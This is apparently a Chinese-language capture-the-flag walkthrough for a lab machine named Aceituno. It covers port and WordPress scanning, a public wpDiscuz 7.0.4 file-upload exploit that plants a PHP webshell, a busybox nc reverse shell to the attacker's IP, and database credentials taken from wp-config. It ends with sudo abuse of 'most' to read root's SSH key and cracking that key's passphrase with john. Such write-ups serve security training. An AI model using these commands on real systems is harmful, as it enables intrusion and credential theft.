Aceituno

信息搜集

192.168.43.139

端口扫描

┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.139 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.139:22
Open 192.168.43.139:80
Open 192.168.43.139:443
Open 192.168.43.139:3306
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.139
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-18 16:54 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Initiating ARP Ping Scan at 16:54
Scanning 192.168.43.139 [1 port]
Completed ARP Ping Scan at 16:54, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:54
Completed Parallel DNS resolution of 1 host. at 16:54, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:54
Scanning 192.168.43.139 [4 ports]
Discovered open port 443/tcp on 192.168.43.139
Discovered open port 80/tcp on 192.168.43.139
Discovered open port 3306/tcp on 192.168.43.139
Discovered open port 22/tcp on 192.168.43.139
Completed SYN Stealth Scan at 16:54, 0.02s elapsed (4 total ports)
Initiating Service scan at 16:54
Scanning 4 services on 192.168.43.139
Completed Service scan at 16:54, 6.97s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.139
NSE: Script scanning 192.168.43.139.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 5.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Nmap scan report for 192.168.43.139
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-05-18 16:54:12 CST for 13s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 0f:7d:a0:9a:ad:8f:f6:85:fc:69:f4:43:53:72:3b:b1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDvsuWp58qtywRU1vi0x4BdTb7DzEIC1QUeAUQ7J4zGNZl06u8F/mK47yOQ7lUxhjatdezcrOC7uB0YANLACPHI=
|   256 0a:02:48:06:90:21:90:15:e6:7d:09:83:63:a2:bd:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDtykZPk4oGVU4e50FfBqeMfXY3Qwkc0CQG/bHJAHzpL
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.5.2
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.59 (Debian)
443/tcp  open  http    syn-ack ttl 64 Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
3306/tcp open  mysql   syn-ack ttl 64 MariaDB 5.5.5-10.11.6
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
|   Thread ID: 34
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsCompression, FoundRows, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, Speaks41ProtocolNew, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: )yI@Dr7V-y>fi[n7dq.,
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:54:B9:27 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/18%OT=22%CT=%CU=43435%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0AD3C1%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=104%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 39.804 days (since Wed Apr  8 21:36:16 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.43.139

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.61 seconds
           Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)

22 SSH
80 HTTP
443 HTTPS
3306 MYSQL

写入hosts

1	192.168.43.139 aceituno.thl

使用Wappalyzer查看发现是一个wordpress的网站

‍

wpscan枚举

┌──(root㉿Eecho)-[~]
└─# wpscan --url http://aceituno.thl/  --enumerate u,vp --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.



[+] URL: http://aceituno.thl/ [192.168.43.139]
[+] Started: Mon May 18 17:02:44 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.59 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://aceituno.thl/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://aceituno.thl/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://aceituno.thl/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://aceituno.thl/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.2 identified (Insecure, released on 2024-04-09).
 | Found By: Rss Generator (Passive Detection)
 |  - http://aceituno.thl/feed/, <generator>https://wordpress.org/?v=6.5.2</generator>
 |  - http://aceituno.thl/comments/feed/, <generator>https://wordpress.org/?v=6.5.2</generator>

[+] WordPress theme in use: blogxo
 | Location: http://aceituno.thl/wp-content/themes/blogxo/
 | Last Updated: 2024-05-28T00:00:00.000Z
 | Readme: http://aceituno.thl/wp-content/themes/blogxo/readme.txt
 | [!] The version is out of date, the latest version is 0.5
 | Style URL: http://aceituno.thl/wp-content/themes/blogxo/style.css?ver=6.5.2
 | Style Name: Blogxo
 | Style URI: https://themeansar.com/free-themes/blogxo/
 | Description: Blogxo is a fast, clean, modern-looking Best Responsive News Magazine WordPress theme. The theme is ...
 | Author: Themeansar
 | Author URI: https://themeansar.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 0.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://aceituno.thl/wp-content/themes/blogxo/style.css?ver=6.5.2, Match: 'Version: 0.4'

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:04 <==================================================================================================> (7343 / 7343) 100.00% Time: 00:01:04
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <======================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] aceituno
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://aceituno.thl/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Sitemap (Aggressive Detection)
 |   - http://aceituno.thl/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] Aceituno
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon May 18 17:03:53 2026
[+] Requests Done: 7399
[+] Cached Requests: 8
[+] Data Sent: 1.979 MB
[+] Data Received: 2.508 MB
[+] Memory used: 252.684 MB
[+] Elapsed time: 00:01:08

没用插件但是有两用户，尝试爆破无果

查看源码发现了一个插件

wpdiscuz 7.0.4是一个rce的漏洞直接用脚本打

https://www.exploit-db.com/exploits/49967

┌──(root㉿Eecho)-[/tmp/bbbb]
└─# python3 exp.py -u http://aceituno.thl/ -p /2024/04/23/hola-mundo/
---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
---------------------------------------------------------------

[+] Response length:[97731] | code:[200]
[!] Got wmuSecurity value: 28c4aef52e
[!] Got wmuSecurity value: 1

[+] Generating random name for Webshell...
[!] Generated webshell name: kwwpzimdlxxdbis

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url&quot;:&quot;http://aceituno.thl/wp-content/uploads/2026/05/kwwpzimdlxxdbis-1779095683.9936.php&quot;

> ls

[x] Failed to execute PHP code...

反弹shell

1	?cmd=busybox nc 192.168.43.6 8080 -e sh

‍

提权

www -> aceituno

/var/www/html/wordpress/wp-config.php泄露了数据的账号和密码

登录mysql

www-data@Aceituno:/var/www/html/wordpress$ mysql -uwp_user -pTomamoreno
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 17992
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpress]> show tables;
+-----------------------------+
| Tables_in_wordpress         |
+-----------------------------+
| pelopicopata                |
| wp_commentmeta              |
| wp_comments                 |
| wp_gwolle_gb_entries        |
| wp_gwolle_gb_log            |
| wp_links                    |
| wp_options                  |
| wp_postmeta                 |
| wp_posts                    |
| wp_term_relationships       |
| wp_term_taxonomy            |
| wp_termmeta                 |
| wp_terms                    |
| wp_usermeta                 |
| wp_users                    |
| wp_wc_avatars_cache         |
| wp_wc_comments_subscription |
| wp_wc_feedback_forms        |
| wp_wc_follow_users          |
| wp_wc_phrases               |
| wp_wc_users_rated           |
| wp_wc_users_voted           |
+-----------------------------+
22 rows in set (0.000 sec)

MariaDB [wordpress]> select * from pelopicopata;
+----------+-------------------+
| usuario  | contraseña        |
+----------+-------------------+
| aceituno | ElSeñorDeLaNoche  |
+----------+-------------------+
1 row in set (0.000 sec)

MariaDB [wordpress]>

成功获取到了aceituno用户的凭证

横向移动到aceituno用户

www-data@Aceituno:/var/www/html/wordpress$ su aceituno
Password:
aceituno@Aceituno:/var/www/html/wordpress$ id
uid=1000(aceituno) gid=1000(aceituno) grupos=1000(aceituno),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
aceituno@Aceituno:/var/www/html/wordpress$

‍

aceituno -> root

aceituno@Aceituno:~$ sudo -l
Matching Defaults entries for aceituno on Aceituno:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User aceituno may run the following commands on Aceituno:
    (root) NOPASSWD: /usr/bin/most
aceituno@Aceituno:~$

可以使用sudo提权。

aceituno@Aceituno:~$ sudo /usr/bin/most --help
MOST version 5.0.0 (S-Lang version 2.3.3)
 *Note: This executable was compiled against S-Lang 2.3.2
Usage:
most [-1Cbcdkstvw] [+/string] [+line number] [+s] [+d] file...
 where: -1:  assume VT100 terminal. (VMS only)
        -b:  Startup in binary mode.
        -C:  disable color support
        -c:  Make searches case sensitive.
        -d:  Do not display the \ wrap marker when wrapping lines.
        -M:  Do not attempt to mmap files.
        -s:  Squeeze out excess blank lines.
        -t:  Display tabs as ^I.  If this option is immediately followed
               by an integer, the integer sets the tab width.
        -u:  Disable UTF-8 mode
        -v:  Do not interpret backspace formatting characters.
        -w:  Wrap lines.
        -z:  No gunzip-on-the-fly.
        +/string:
             Search for string
        +line number
             Start up at specified line number.
        +d:  Allow file deletion.
        +s:  Secure Mode-- no edit, cd, shell, and reading files not
               already listed on the command line.
        +u:  Enable UTF-8 mode.

Example: most -ct4 +82 keymap.c
 makes searches case sensitive, sets tabwidth to 4, and displays the file
 keymap.c starting at line 82.

most 是一个终端分页查看器（类似于 less 或 more)

读取root的私钥

aceituno@Aceituno:~$ vi id_rsa
aceituno@Aceituno:~$ chmod 600 id_rsa
aceituno@Aceituno:~$ ssh root@127.0.0.1 -i id_rsa
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:E3hFztfG4xINEDoEi2M+Y6N52G6qcYgsHhVTFzTwJBA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

存在passphrase保护，爆破密码

┌──(root㉿Eecho)-[/tmp/bbbb]
└─# vim id_rsa
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh2john id_rsa > hash.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blessed1         (id_rsa)
1g 0:00:00:08 DONE (2026-05-18 17:39) 0.1239g/s 261.7p/s 261.7c/s 261.7C/s amore..morado
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功获取到密码

aceituno@Aceituno:~$ ssh root@127.0.0.1 -i id_rsa
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:E3hFztfG4xINEDoEi2M+Y6N52G6qcYgsHhVTFzTwJBA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux Aceituno 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 28 12:08:02 2024 from 192.168.0.108
root@Aceituno:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@Aceituno:~#